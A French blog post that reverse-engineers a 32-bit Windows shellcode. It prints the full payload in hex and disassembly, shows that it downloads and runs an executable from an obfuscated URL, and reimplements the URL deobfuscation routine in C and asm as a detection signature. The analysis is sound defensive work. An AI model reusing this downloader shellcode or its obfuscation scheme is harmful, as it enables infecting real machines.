mardi 4 septembre 2018

Technique d'obfuscation de code


I.    Introduction


Revenons sur le shellcode X32 ou nous avons analysé la partie qui détecter une émulation de code. 
Nous avons indiqué qu'il y avait une autre partie intéressant à la fin du shellcode.

C'est ce que l'on va voir dans cette article l'analyse du fonction inconnue.

Nous remettons le  site en question ou ce trouve le shellcode :
"https://wasm.in/threads/pomogite-razobratsja-v-instrukcijax.22344/"

II.          Le shellcode 


Voici le shellcode X32 correspondant. Nous avons mis en rouge la partie qui sera étudié dans cette article


\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B
\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74
\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C
\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A
\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7
\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A
\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78
\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF
\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB
\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48
\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D
\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B
\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61
\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54
\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A
\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E
\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56
\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18
\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00
\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5
\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00
\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89
\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF
\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04
\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A
\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D
\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8
\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF
\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E
\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92
\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76
\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83
\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79
\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14
\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE
\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2
\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1
\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07
\x47\x49\x75\xCE\xC3\xC3

Nous avons positionné l'analyse du shellcode effectué au travers de l'outil vu dans le précédent article et ciblé sur le bloc qui nous intéresse.

00000000 -> 00000021:  =>{BLOC}[IsCheckEmulationCodeX32V1 -> RET si Emulation] conçu only for OS/Win 32Bits
00000022 -> 0000003E:  =>{BLOC}[AsmGetKernel32_V14 -> EBX] conçu pour Win9X/NT
0000003F:   6A 4E                                 PUSH 4Eh (78) 'N'
00000041:   5A                                      POP EDX
00000042:   D1 E2                                 SHL EDX,1
00000044:   2B E2                                 SUB ESP,EDX
00000046:   8B EC                                 MOV EBP,ESP
00000048:   C7 45 10 6E 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E6Eh "n.ex"
0000004F:   C7 45 14 FF 01 00 00        MOV DWORD PTR [EBP+14h], 000001FFh "ÿ"
00000056:   C7 45 00 00 00 00 00        MOV DWORD PTR [EBP+00h], 00000000h ""
0000005D:   EB 4F                                 JMP 4Fh +4Fh ->:000000AE)
0000005F:   5A                                      POP EDX
00000060:   52                                       PUSH EDX
00000061:   83 EA 56                            SUB EDX,56h
00000064:   89 55 18                             MOV DWORD PTR[EBP+18h],EDX
00000067 -> 000000AD:  =>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
000000AE:   8D 7D 1C                           LEA EDI,[EBP+1Ch]
000000B1:   57                                      PUSH EDI
000000B2:   52                                      PUSH EDX
000000B3:   B8 33 CA 8A 5B                MOV EAX, 5B8ACA33h (5B8ACA33=Hash[ROR13(Additive)]('GetTempPathA'))
000000B8:   E8 A2 FF FF FF                  CALL FFFFFFA2h (-5Eh ->:0000005F)
000000BD:   32 C0                                 XOR AL,AL
000000BF:   8B F7                                 MOV ESI,EDI
000000C1:   F2 AE                                REPNE SCAS BYTE PTR ES:[EDI]
000000C3:   4F                                      DEC EDI
000000C4:   8B 45 10                            MOV EAX,DWORD PTR [EBP+10h]
000000C7:   AB                                     STOSD (Store EAX at address ES:(E)DI)
000000C8:   66 98                                 CBW
000000CA:   66 AB                                STOS WORD PTR ES:[EDI],AX
000000CC:   33 C0                                 XOR EAX,EAX
000000CE:   B8 61 64 00 00                  MOV EAX, 00006461h "ad"
000000D3:   50                                      PUSH EAX
000000D4:   68 54 68 72 65                  PUSH 65726854h "Thre" / {84 104 114 101} / < w:29285 | w:21608 >
000000D9:   35 24 1C 69 74                  XOR EAX,74691C24h
000000DE:   50                                      PUSH EAX
000000DF:   54                                      PUSH ESP
000000E0:   53                                       PUSH EBX
000000E1:   B8 AA FC 0D 7C                MOV EAX, 7C0DFCAAh  (7C0DFCAA=Hash[ROR13(Additive)]('GetProcAddress'))
000000E6:   FF 55 18                             CALL DWORD PTR [EBP+18h]
000000E9:   83 C4 0C                            ADD ESP,0Ch
000000EC:   50                                       PUSH EAX
000000ED:   B0 6C                                 MOV AL,0x6C
000000EF:   8A E0                                 MOV AH,AL
000000F1:   98                                       CWDE (Convert WorD to Extended) WORD=>DWORD EAX=0000XXXX
000000F2:   50                                       PUSH EAX
000000F3:   68 6F 6E 2E 64                   PUSH 642E6E6Fh "on.d" ( 642E6E6F = ('d.no') => PILE:on.d )
000000F8:   68 75 72 6C 6D                  PUSH 6D6C7275h "urlm" ( 6D6C7275 = ('mlru') => PILE:urlm )
000000FD:   54                                      PUSH ESP
000000FE:   B8 8E 4E 0E EC                  MOV EAX, EC0E4E8Eh  (EC0E4E8E=Hash[ROR13(Additive)]('LoadLibraryA'))
00000103:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000106:   83 C4 0C                            ADD ESP,0Ch
00000109:   93                                       XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
0000010A:   50                                      PUSH EAX
0000010B:   33 C0                                 XOR EAX,EAX
0000010D:   50                                      PUSH EAX
0000010E:   50                                       PUSH EAX
0000010F:   56                                       PUSH ESI
00000110:   8B 55 18                            MOV EDX,DWORD PTR [EBP+18h]
00000113:   03 55 14                             ADD EDX,DWORD PTR[EBP+14h]
00000116:   52                                       PUSH EDX
00000117:   50                                       PUSH EAX
00000118:   B8 36 1A 2F 70                  MOV EAX, 702F1A36h (702F1A36=Hash[ROR13(Additive)]('URLDownloadToFileA'))
0000011D:   FF 55 18                            CALL DWORD PTR [EBP+18h]
00000120:   5B                                      POP EBX
00000121:   83 7D 00 01                       CMP DWORD PTR[EBP+00h],01h
00000125:   0F 85 9E 00 00 00              JNE 0000009Eh (+9Eh ->:000001C9)
0000012B:   6A 00                                 PUSH 00h (0) '
0000012D:   68 80 00 00 00                  PUSH 00000080h "€" / {128 0 0 0} / < w:0 | w:32768 >
00000132:   6A 03                                 PUSH 03h (3)
00000134:   6A 00                                 PUSH 00h (0) '
00000136:   6A 03                                 PUSH 03h (3)
00000138:   68 00 00 00 C0                  PUSH C0000000h "" / {0 0 0 192} / < w:192 | w:0 >
0000013D:   56                                      PUSH ESI
0000013E:   B8 A5 17 00 7C                 MOV EAX, 7C0017A5h "¥"
00000143:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000146:   89 45 04                             MOV DWORD PTR[EBP+04h],EAX
00000149:   6A 04                                 PUSH 04h (4)
0000014B:   68 00 10 00 00                  PUSH 00001000h "" / {0 16 0 0} / < w:0 | w:16 >
00000150:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
00000155:   6A 00                                 PUSH 00h (0) '
00000157:   B8 54 CA AF 91                 MOV EAX, 91AFCA54h (91AFCA54=Hash[ROR13(Additive)]('VirtualAlloc'))
0000015C:   FF 55 18                            CALL DWORD PTR [EBP+18h]
0000015F:   89 45 0C                            MOV DWORD PTR[EBP+0Ch],EAX
00000162:   50                                       PUSH EAX
00000163:   6A 00                                 PUSH 00h (0) '
00000165:   8D 4D 08                            LEA ECX,[EBP+08h]
00000168:   51                                       PUSH ECX
00000169:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
0000016E:   50                                       PUSH EAX
0000016F:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000172:   B8 16 65 FA 10                  MOV EAX, 10FA6516h (10FA6516=Hash[ROR13(Additive)]('ReadFile'))
00000177:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000017A:   5F                                      POP EDI
0000017B:   8B 17                                 MOV EDX,DWORD PTR [EDI]
0000017D:   83 C7 04                            ADD EDI,04h
00000180:   8B 4D 08                            MOV ECX,DWORD PTR [EBP+08h]
00000183:   83 E9 04                             SUB ECX,04h
00000186:   E8 A7 00 00 00                  CALL 000000A7h (+A7h ->:00000232)
0000018B:   6A 00                                 PUSH 00h (0) '
0000018D:   6A 00                                 PUSH 00h (0) '
0000018F:   6A 00                                 PUSH 00h (0) '
00000191:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000194:   B8 AC 08 DA 76                MOV EAX, 76DA08ACh  (76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000019C:   6A 00                                 PUSH 00h (0) '
0000019E:   8D 4D 08                            LEA ECX,[EBP+08h]
000001A1:   51                                      PUSH ECX
000001A2:   FF 75 08                            PUSH DWORD PTR [EBP+08h]
000001A5:   FF 75 0C                            PUSH DWORD PTR [EBP+0Ch]
000001A8:   83 04 24 04                       ADD DWORD PTR [ESP],04h
000001AC:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001AF:   B8 1F 79 0A E8                 MOV EAX, E80A791Fh  (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001B7:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001BA:   B8 FB 97 FD 0F                 MOV EAX, 0FFD97FBh "û—ý"
000001BF:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001C2:   C7 45 00 02 00 00 00        MOV DWORD PTR [EBP+00h], 00000002h "[1]"
000001C9:   57                                      PUSH EDI
000001CA:   56                                      PUSH ESI
000001CB:   B8 98 FE 8A 0E                 MOV EAX, 0E8AFE98h  (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001D3:   EB 2A                                JMP 2Ah +2Ah ->:000001FF)
000001D5:   18 2A                                 SBB BYTE PTR[EDX],CH
000001D7:   F9                                      STC         // Set Carry Flag (Arme le drapeau de retenue)
000001D8:   B7 D2                                 MOV BH,D2h
000001DA:   77 B3                                JA B3h (Jump if Above)(-4Dh ->:0000018F)
000001DC:   01 45 8A                           ADD DWORD PTR[EBP-0x76],EAX
000001DF:   92                                      XCHG EAX,EDX (Exchanges (swaps) the value of 2 registers)
000001E0:   B7 AD                                MOV BH,ADh
000001E2:   50                                       PUSH EAX
000001E3:   5D                                      POP EBP
000001E4:   E4 67                                  IN AL,0x67
000001E6:   F5                                       CMC
000001E7:   E6 C7                                 OUT 0xC7,AL
000001E9:   1A BF AB 1E 10 42            SBB BH,BYTE PTR[EDI+0x42101EAB]
000001EF:   76 A2                                 JBE A2h (rel8)(-5Eh ->:00000193)
000001F1:   A1 54 63 09 7B                  MOV EAX,DWORD PTR[7B096354h]
000001F6:   89 B0 F4 97 4E 73             MOV DWORD PTR[EAX+0x734E97F4],ESI
000001FC:   93                                      XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
000001FD:   3F                                      AAS        (ASCII adjust AL after subtraction)
000001FE:   F1                                       ICEBP    (INT01 (ICE BreakPoint))
000001FF:   83 7D 00 02                       CMP DWORD PTR[EBP+00h],02h
00000203:   74 60                                  JZ 0x60 (+60h ->:00000265)
00000205:   C7 45 00 01 00 00 00        MOV DWORD PTR [EBP+00h], 00000001h ""
0000020C:   C7 45 10 79 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E79h "y.ex"
00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                           MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                            ADD EDI,DWORD PTR [EBP+14h]
00000220:   B9 26 00 00 00                  MOV ECX, 00000026h "&"
00000225:   8B 57 FC                            MOV EDX,[EDI-04h]
00000228:   E8 05 00 00 00                   CALL 00000005h (+05h ->:00000232)
0000022D:   E9 7C FE FF FF                  JMP FFFFFE7Ch (-FFFFFE7Ch ->:000000AE)
00000232:   33 C0                                 XOR EAX,EAX
00000234:   8A 07                                 MOV AL, BYTE PTR [EDI]
00000236:   D2 C8                                 ROR AL,CL
00000238:   32 C1                                 XOR AL,CL
0000023A:   F6 D0                                 NOT AL
0000023C:   32 C5                                XOR AL,CH
0000023E:   32 C2                                 XOR AL,DL
00000240:   32 C6                                 XOR AL,DH
00000242:   D2 C0                                 ROL AL,CL
00000244:   02 C1                                 ADD AL,CL
00000246:   02 C5                                 ADD AL,CH
00000248:   02 C2                                 ADD AL,DL
0000024A:   02 C6                                ADD AL,DH
0000024C:   D2 C8                                ROR AL,CL
0000024E:   2A C1                                SUB AL,CL
00000250:   2A C5                                SUB AL,CH
00000252:   F6 D0                                 NOT AL
00000254:   2A C2                                SUB AL,DL
00000256:   2A C6                                SUB AL,DH
00000258:   D2 C0                                 ROL AL,CL
0000025A:   D3 C2                                ROL EDX,CL
0000025C:   0F CA                                BSWAP EDX
0000025E:   88 07                                  MOV [EDI],AL
00000260:   47                                       INC EDI
00000261:   49                                       DEC ECX
00000262:   75 CE                                 JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                                      RET
00000265:   C3                                      RET

Nous voyons un call en ligne 0x00000186 qui point vers l'adresse 0x00000232. Et quand on va à cette endroit on peut distinguer une fonction avec plusieurs opérations consécutives avec des opérations ROR, ROL , NOT , ADD , SUB.. etc

Cela ressemble à de la transformation d'octet. Ce qui est facile à voir vu les premiers instructions

00000232:   33 C0                                XOR EAX,EAX
00000234:   8A 07                                MOV AL, BYTE PTR [EDI]

qui caractérise de mettre dans le registre AL le BYTE(octet) ce trouvant à l'adresse contenu dans EDI

On reconnaît également une boucle à ligne de fin

00000261:   49                                     DEC ECX
00000262:   75 CE                               JNZ CEh (rel8)(-32h ->:00000232)

Ce qui est assez bizarre et que l'opération dans cette boucle concerne également le registre EDX qui est aussi définit avant le call vers ce bloc.

Au début , nous avons pensé à une fonction de Hash lié au ROR et ROL camouflé avec des opérations ce neutralisant. Cela ne colle pas trop, donc comme on supposait que la fonction était de la forme Fn(char* p , DWORD nSize, DWORD dwJeSaisPasAQuoiTuEsUtile );

Pour simplifier on a réduit le nombre de paramètre en neutralisant le registre EDX

En découpant sur deux tableaux l'un avec EDX = 0x00000000  pour distinguer les traitements sur la chaîne sans l'interaction du registre EDX sur celle-ci.

Et le traitement propre sur le registre EDX dans la boucle indépendamment 

Nous arrivons au tableau en dessous:


Code avec EDX = 0x00000000
Code sur EDX dans la boucle seul
00000232:   33 C0                  XOR EAX,EAX
00000234:   8A 07                 MOV AL, BYTE PTR [EDI]
00000236:   D2 C8                                 ROR AL,CL
00000238:   32 C1                                 XOR AL,CL
0000023A:   F6 D0                                 NOT AL
0000023C:   32 C5                                 XOR AL,CH
0000023E:  
00000240:  
00000242:   D2 C0                                 ROL AL,CL
00000244:   02 C1                                 ADD AL,CL
00000246:   02 C5                                 ADD AL,CH
00000248:  
0000024A: 
0000024C:   D2 C8                                 ROR AL,CL
0000024E:   2A C1                                 SUB AL,CL
00000250:   2A C5                                 SUB AL,CH
00000252:   F6 D0                                 NOT AL
00000254:  
00000256:  
00000258:   D2 C0                                 ROL AL,CL
0000025A:  
0000025C:  
0000025E:   88 07                                  MOV [EDI],AL
00000260:   47                                       INC EDI
00000261:   49                       DEC ECX
00000262:   75 CE                  JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                       RET

00000232:   33 C0                  XOR EAX,EAX
00000234:   8A 07                 MOV AL, BYTE PTR [EDI]
00000236:  
00000238:  
0000023A:  
0000023C:  
0000023E:  
00000240:  
00000242:  
00000244:
00000246:  
00000248:  
0000024A:  
0000024C:  
0000024E:  
00000250:  
00000252:  
00000254:  
00000256:  
00000258: 
0000025A:   D3 C2                                ROL EDX,CL
0000025C:   0F CA                                BSWAP EDX
0000025E:  
00000260:  
00000261:   49                       DEC ECX
00000262:   75 CE                  JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                       RET


On voit que ECX et décrémenté d'une valeur N vers 0 et qu'elle sert dans la transformation
ce qui aussi a croiser avec le fait que le DWORD contenu subit aussi des modifications à chaque itération de la boucle et un sur tous un ROL fonction de CL donc de ECX.

De là on peut écarter les packers de type à key constant

- Encoder XOR Const Key BYTE
- Encoder SUB Const Key DWORD
- Encoder XOR Const Key DWORD
....etc

Ce code est plus proche d'un "Shikata Ga Nai Encoder" dans l'esprit avec ce ROL et la key qui est modifié à chaque itération. Mais les actions sur l'octet cela est loin d'aller dans ce sens.

En posant l'hypothèse que EDX est la KeyInitial de cryptage/décryptage ,on pourrait plus imaginer que c'est un packer d'une forme exotique sans essayer de faire des correspondances à d'ancien Shellcode analysé. 

Partons de ce postulat ,cela nous donne une fonction de la forme suivant: 

VOID FnDecodeDataByKeyDWORD(CHAR* pMemory,DWORD dwSize, DWORD dwKeyDecode);

Nous avons pris le partie de parler de décodage, car l'intérêt même de l'ensemble du shellcode
et de télécharger un binaire, il faut obligatoirement une Url qui n'est pas visible dans le code.
De plus comme il y a des Apis qui sont appelées pour des opérations sur des fichiers. 
On peut pousser le raisonnement que l'on aurait besoin de décoder le flux téléchargé pour obtenir le code exacte et que notre fonction et utiliser potentiellement pour cela.

Comme dit cela n'est qu'une supposition dans le nomde la fonction possible. il est toujours important de garder à l'esprit que nous construction du démarche d'analyse et que le nom est donc arbitraire
à ce stade.Mais présenti comme rôle et fonction.

En regardant de plus prés pour voir ou les appels de CALL. nous avons mis en gras les appels vers  cette fonction. Nous avons détecté que notre outils a pas pris deux HASHs 

Au ligne suivant:

0000013E:   B8 A5 17 00 7C          MOV EAX, 7C0017A5h "¥"
00000143:    FF 55 18                     CALL DWORD PTR [EBP+18h]

000001BA:   B8 FB 97 FD 0F         MOV EAX, 0FFD97FBh "û—ý"
000001BF:   FF 55 18                     CALL DWORD PTR [EBP+18h]

Cela peut nous aider pour comprendre des actions pas visible au premier coup d'œil dans le shellcode.
Nous prenons une peu de temps pour regarder ce point avant de revenir au Call.

Théoriquement étant des listes de Hash dynamique, hormis si une exclusion a été mis dans l'outil lors de l'étude d'un autre shellcode. Il aurait du détecter ses hashs basiques

En utilisant un autre outil dédié à la recherche de hash, il est rapide de contrôler cela.

 




















 






















 Donc cela nous donne nos 2 hashs manquant

7C0017A5h (7C0017A5=Hash[ROR13(Additive)]('CreateFileA'))
0FFD97FBh (0FFD97FB =Hash[ROR13(Additive)]('CloseHandle'))

Mais cela donne pas grand chose de plus pour l'analyse de la fonction au niveau du shellcode.

La seul partie qui peut nous aider en l'état est le passage des paramètres avant l'appel au call et des deux celui-ci qui semble le plus intéressant et celui remis en dessous:

00000205:   C7 45 00 01 00 00 00        MOV DWORD PTR [EBP+00h], 00000001h ""
0000020C:   C7 45 10 79 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E79h "y.ex"
00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                           MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                            ADD EDI,DWORD PTR [EBP+14h]
00000220:   B9 26 00 00 00                  MOV ECX, 00000026h "&"
00000225:   8B 57 FC                            MOV EDX,[EDI-04h]
00000228:   E8 05 00 00 00                   CALL 00000005h (+05h ->:00000232)

On peut déterminer que le buffer passé fait 38 (0x26) octets. Comme on le voit dans le code assembleur du shellcode. Chaque appel et construit de la manière suivant:

00000194:   B8 AC 08 DA 76                MOV EAX, 76DA08ACh  (76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199:   FF 55 18                            CALL DWORD PTR [EBP+18h]

000001AF:   B8 1F 79 0A E8                 MOV EAX, E80A791Fh  (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4:   FF 55 18                            CALL DWORD PTR [EBP+18h]

000001CB:   B8 98 FE 8A 0E                 MOV EAX, 0E8AFE98h  (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0:   FF 55 18                            CALL DWORD PTR [EBP+18h]

Donc l'adresse de EBP+18 contient l'adresse d'un DWORD sur la fonction

00000067 -> 000000AD:  =>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]

Donc DWORD PTR [EBP+18h]  contient 0x00000067 cela va nous aider pour la suite.
Il est simple de déterminer la valeur du registre EDI au travers du code suivant:

00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                         MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                         ADD EDI,DWORD PTR [EBP+14h]

Nous obtenons EDI ( 0x00000067 + 0x00000172  = 0x000001D9 )

Et maintenant nous pouvons déduire EDX , par rapport a l'instruction suivant:

 00000225:   8B 57 FC                        MOV EDX,[EDI-04h]

EDX est affecté avec la valeur d'un DWORD ce trouvant à l'adresse EDI - 0x04 qui nous donne un DWORD stocké à l'adresse 0x000001D5

Hors cette adresse correspond au ligne suivant dans le shellcode.

000001D3:   EB 2A                    JMP 2Ah +2Ah ->:000001FF)
000001D5:   18 2A                    SBB BYTE PTR[EDX],CH
000001D7:   F9                        STC          // Set Carry Flag (Arme le drapeau de retenue)
000001D8:   B7 D2                    MOV BH,D2h

On peut se poser la question légitime, si ces instructions sont vraiment du code et pas plutôt des datas cachés lié au fait du JMP qui saute cette zone.

Donc, le registre EDX aura comme valeur 0xB7F92A18 si on suite la logique que nous avons fixé.
 
Comme le registre EDI  doit contenir les données et que l'on sait qu'elle démarre à l'adresse 0x000001D9

Et de plus sont d'une longueur de 32 octets. Cela nous donne les octets suivant de la zone encodé.

D2 77 B3 01 45 8A 92 B7 AD 50 5D E4 67 F5 E6 C7 1A BF AB 1E 10 42 76 A2 A1 54 63 09 7B 89 B0 F4 97 4E 73 93 3F F1

Intégrer ce codage dans un programme en C++ est assez rapide.

Voici l'outil réalisé avec quelques fonctions de base comme la bascule en mode Asii / Hexa pour visualiser les octets différement en relation à se que l'on suppose qu'ils contiennent 

Suite au test, nous retrouvons un text qui est bien une url servant au téléchargement de la charge utile en regardant où elle est utilisé dans le shellcode.

Ce qui est intéressant et que la Key de décodage fournit la Key de codage et inversement
Il a été assez simple de reconstruire la fonction d'encodage à partir de cela.

Pour valider cela, nous avons fait un encodage en prenant l'url suivant

"http://9b113d1a.blogspot.com/" et comme key la valeur 9B113D1A

Nous obtenons les octets encodé de notre url, ainsi que la key de décodage 6273A07 pour retrouver le text initial à partir de la fonction de décodage.


Nous avons décodé le donnée encodé.Et cela nous fournit notre url initial

En conclusion la fonction étudié est bien une fonction de désobfuscation de donnée utilisé pour décoder une url obfusqué incluse dans le shellcode.

Nous lui avons défini un nom qui la caractérise mieux

ApiDeobfuscateAStringByKeyDWORDV1(DWORD dwKeyEncode,char* pMemory,DWORD dwSize)

Nous remettons son codage en C

DWORD ApiDeobfuscateAStringByKeyDWORD(DWORD dwKeyEncode,char* pMemory,DWORD dwSize)
{
                __asm
                {
                               MOV ECX,dwSize
                               MOV EDI,pMemory
                               MOV EDX,dwKeyEncode

                     boucleNonNULL:
                               XOR EAX,EAX
                               MOV AL, BYTE PTR[EDI]

                               ROR AL,CL
                               XOR AL,CL
                               NOT AL
                               XOR AL,CH
                               XOR AL,DL
                               XOR AL,DH
                               ROL AL,CL
                               ADD AL,CL
                               ADD AL,CH
                               ADD AL,DL
                               ADD AL,DH
                               ROR AL,CL
                               SUB AL,CL
                               SUB AL,CH
                               NOT AL
                               SUB AL,DL
                               SUB AL,DH
                               ROL AL,CL
                               ROL EDX,CL
                               BSWAP EDX

                               MOV [EDI],AL
                               INC EDI
                               DEC ECX
                               JNZ boucleNonNULL

                               MOV EAX,EDX   
                }
}

Nous pouvons intégrer la signature du bloc de la fonction dans notre outils. Mais il est assez complexe de déterminer automatiquement la zone des données encodé.

Pour la signature, nous la mettons en dessous  

char szShellCode_Block_DeObfuscateAStringByKeyDWORD[]=
"\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2"
"\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1"
"\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07"
"\x47\x49\x75\xCE\xC3";

Suite à l'intégration à l'outil , nous avons repasser le shellcode concerné à l'analyse. Cela nous permet maintenant de bien distingué les différentes partie de ce shellcode. 


III.    Conclusions

Nous espérons que ces quelques lignes, vous permet de mieux comprendre le mode opératoire d'analyse pouvant être effectué pour déterminer la mission d'une fonction inconnu. Il vous a aussi permis de voir un mécanisme d'obfuscation d'url un peu moins courant que le XOR à key constant.













Aucun commentaire:

Enregistrer un commentaire